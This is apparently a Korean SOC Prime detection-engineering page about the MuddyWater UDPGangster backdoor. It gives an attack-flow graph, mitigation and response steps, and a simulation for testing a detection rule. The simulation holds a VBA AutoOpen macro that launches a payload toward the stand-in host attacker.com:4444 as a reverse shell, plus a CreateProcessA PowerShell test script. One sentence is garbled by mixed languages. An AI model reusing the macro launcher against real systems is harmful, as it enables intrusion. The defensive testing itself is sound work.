SOC Prime Bias: 심각

08 12월 2025 16:27

UDPGangster 공격, 여러 국가로 확산

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
UDPGangster 공격, 여러 국가로 확산
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

UDPGangster는 MuddyWater 위협 그룹이 Windows 호스트를 원격으로 제어하기 위해 활용하는 UDP 기반 백도어입니다. 초기 침해는 VBA 매크로를 사용하여 악성 Word 문서를 통해 페이로드를 드롭하고 실행함으로써 발생합니다. 이 멀웨어는 광범위한 분석 방지 검사를 수행하고 사용자 AppData 디렉토리에 자신을 복사하여 지속성을 유지하고 Run 키를 생성합니다. 최근 캠페인은 터키, 이스라엘, 아제르바이잔의 사용자를 목표로 하고 있습니다.

조사

FortiGuard Labs는 피싱 이메일, 포함된 VBA 매크로, 드롭된 실행 파일 및 지속성 기술을 조사했습니다. 그들은 파일 경로, 레지스트리 Run 항목, 뮤텍스 이름 및 관련 C2 인프라와 같은 지표를 추출했습니다. IP 주소, 도메인 및 PDB 경로의 상관 관계를 통해 분석가들이 이 활동을 과거 MuddyWater 작전과 연결할 수 있었습니다.

완화

완화 단계는 매크로 실행을 방지하기 위한 매크로 차단 또는 강력한 사용자 교육 시행과 의심스러운 파일 쓰기를 공용 또는 사용자 프로필 폴더에 감시하고 Run 레지스트리 키의 수정을 방지하는 엔드포인트 방어 배포를 포함합니다. 네트워크 팀은 포트 1269에서 비정상적인 UDP 트래픽을 모니터링하고, C2 채널을 방해하기 위해 알려진 악성 IP 주소와 도메인을 차단해야 합니다.

대응

UDPGangster 활동이 감지되면 영향을 받은 엔드포인트를 격리하고, 휘발성 메모리 및 전체 디스크 이미지를 수집하며, 백도어 이진 파일 및 관련 아티팩트를 검색합니다. 식별된 C2 인프라를 차단하고, 추가로 침해된 시스템을 발견하기 위해 철저한 포렌식 분석을 수행하며, 보안 서명을 업데이트하여 악성 매크로 문서와 백도어 페이로드를 모두 탐지합니다.

graph TB %% 클래스 정의 classDef action fill:#99ccff classDef malware fill:#ff6666 classDef process fill:#66ff66 %% 노드 정의 action_phishing[“<b>행동</b> – <b>T1566.001 스피어피싱 첨부파일</b>: 악성 Word 문서와 ZIP 파일이 포함된 이메일”] class action_phishing action action_macro[“<b>행동</b> – <b>T1059.005 명령 및 스크립트 인터프리터 VBA</b>: Document_Open 매크로가 Base64 페이로드를 C:\\Users\\Public\\ui.txt로 디코딩”] class action_macro action action_vba_stomping[“<b>행동</b> – <b>T1564.007 VBA 스톰핑 아티팩트 숨기기</b>: 매크로에 숨겨진 악성 바이너리가 런타임 시 생성”] class action_vba_stomping action action_obfuscation[“<b>행동</b> – <b>T1027.004 전달 후 컴파일</b>: 페이로드가 Base64 인코딩과 컴파일 시 기법으로 난독화”] class action_obfuscation action action_persistence_copy[“<b>행동</b> – <b>T1547.014 부팅 또는 로그인 자동 실행</b>: 백도어를 %AppData%\\RoamingLow\\SystemProc.exe에 복사”] class action_persistence_copy action action_registry_persistence[“<b>행동</b> – <b>T1547.014 레지스트리 실행 키</b>: HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell 시작 항목 생성”] class action_registry_persistence action action_anti_sandbox[“<b>행동</b> – <b>T1497.002 가상화 샌드박스 회피</b>: 디버거 감지, CPU 코어 수, RAM 크기, MAC 접두사, 도메인 상태, WMI 쿼리, 레지스트리 검색 및 알려진 샌드박스 DLL 확인 수행”] class action_anti_sandbox action action_c2_udp[“<b>행동</b> – <b>T1571 비표준 포트</b>: UDP 포트 1269를 통해 C2와 통신”] class action_c2_udp action action_raw_udp[“<b>행동</b> – <b>T1095 비애플리케이션 계층 프로토콜</b>: 트래픽에 raw UDP 패킷 사용”] class action_raw_udp action action_data_encoding[“<b>행동</b> – <b>T1132.002 사용자 정의 인코딩</b>: 시스템 정보가 회전 오른쪽 변환으로 인코딩되어 유출”] class action_data_encoding action malware_backdoor[“<b>악성코드</b>: 맞춤형 백도어 바이너리”] class malware_backdoor malware process_c2[“<b>프로세스</b>: 원격 C2 서버”] class process_c2 process %% 공격 흐름 연결 action_phishing u002du002d>|전달| action_macro action_macro u002du002d>|실행| action_vba_stomping action_vba_stomping u002du002d>|난독화| action_obfuscation action_obfuscation u002du002d>|AppData로 복사| action_persistence_copy action_persistence_copy u002du002d>|실행 키 생성| action_registry_persistence action_registry_persistence u002du002d>|활성화| malware_backdoor action_vba_stomping u002du002d>|실행| action_anti_sandbox action_anti_sandbox u002du002d>|통과 시| action_c2_udp action_c2_udp u002du002d>|사용| action_raw_udp action_raw_udp u002du002d>|인코딩 데이터 전송| action_data_encoding action_data_encoding u002du002d>|대상| process_c2 process_c2 u002du002d>|제어| malware_backdoor

공격 흐름

시뮬레이션 실행

전제 조건: Telemetry & Baseline Pre‑flight Check가 통과해야 합니다.

이 섹션은 탐지 규칙을 트리거하도록 설계된 정확한 적 기술(TTP)의 실행을 자세히 설명합니다. 명령 및 서술은 식별된 TTP와 직접적으로 일치해야 하며 탐지 논리에서 예상되는 정확한 텔레메트리를 생성해야 합니다.

  • 공격 이야기 및 명령:
    공격자는 VBA 매크로가 포함된 악성 Word 문서를 전달합니다. 매크로는 Windows API인 CreateProcessA를 호출하여 cmd.exe를 시작하고 UDPGangster 페이로드 (udp_gangster.exe)를 실행합니다. 페이로드는 공격자의 C2 서버로 역셸을 설정합니다. 매크로가 명령 줄에 문자열 “CreateProcessA”와 리터럴을 명시적으로 전달하기 때문에 탐지 규칙이 일치할 것입니다.cmd.exe in the command line, the detection rule will match.

    1. VBA 매크로 (간단한 설명) – API 호출을 보여줌:

      Private Declare PtrSafe Function CreateProcessA Lib "kernel32" _
          (ByVal lpApplicationName As String, ByVal lpCommandLine As String, _
           ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, _
           ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _
           ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, _
           ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInformation As PROCESS_INFORMATION) As Long
      
      Sub AutoOpen()
          Dim cmdLine As String
          cmdLine = "cmd.exe /c ""%TEMP%udp_gangster.exe -c attacker.com:4444"""
          Dim si As STARTUPINFO
          Dim pi As PROCESS_INFORMATION
          Call CreateProcessA(vbNullString, cmdLine, 0, 0, 1, &H00000010, 0, vbNullString, si, pi)
      End Sub
    2. 매크로 배포, 문서를 열고 매크로가 실행되도록 합니다. 결과 프로세스 생성 이벤트에는 다음이 포함됩니다:

      CommandLine: cmd.exe /c "%TEMP%udp_gangster.exe -c attacker.com:4444"
  • 회귀 테스트 스크립트:다음 PowerShell 스크립트는 Word 문서 없이도 정확한 텔레메트리를 재현합니다. 이는 네이티브 Win32 API를 호출합니다 CreateProcessA 통해서 Add-Type.

    # 회귀 테스트: cmd.exe와 함께 직접 CreateProcessA 호출
    $source = @"
    using System;
    using System.Runtime.InteropServices;
    
    public class NativeMethods {
        [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)]
        public struct STARTUPINFO {
            public int cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public uint dwX;
            public uint dwY;
            public uint dwXSize;
            public uint dwYSize;
            public uint dwXCountChars;
            public uint dwYCountChars;
            public uint dwFillAttribute;
            public uint dwFlags;
            public short wShowWindow;
            public short cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }
    
        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION {
            public IntPtr hProcess;
            public IntPtr hThread;
            public uint dwProcessId;
            public uint dwThreadId;
        }
    
        [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
        public static extern bool CreateProcessA(
            string lpApplicationName,
            string lpCommandLine,
            IntPtr lpProcessAttributes,
            IntPtr lpThreadAttributes,
            bool bInheritHandles,
            uint dwCreationFlags,
            IntPtr lpEnvironment,
            string lpCurrentDirectory,
            ref STARTUPINFO lpStartupInfo,
            out PROCESS_INFORMATION lpProcessInformation);
    }
    "@
    
    Add-Type $source
    
    $si = New-Object NativeMethods+STARTUPINFO
    $si.cb = [Runtime.InteropServices.Marshal]::SizeOf([NativeMethods+STARTUPINFO])
    $pi = New-Object NativeMethods+PROCESS_INFORMATION
    
    $cmd = 'cmd.exe /c "echo UDPGangster simulation > $env:TEMPudp_gangster.log"'
    
    $result = [NativeMethods]::CreateProcessA($null, $cmd, [IntPtr]::Zero, [IntPtr]::Zero, $true, 0x00000010, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi)
    
    if (-not $result) {
        Write-Error "CreateProcessA failed: $([Runtime.InteropServices.Marshal]::GetLastWin32Error())"
    } else {
        Write-Host "CreateProcessA succeeded, command line logged."
    }
  • 정리 명령:시뮬레이션 중에 생성된 아티팩트를 제거하십시오.

    # 시뮬레이션에서 생성된 임시 로그 파일 제거
    Remove-Item -Path "$env:TEMPudp_gangster.log" -ErrorAction SilentlyContinue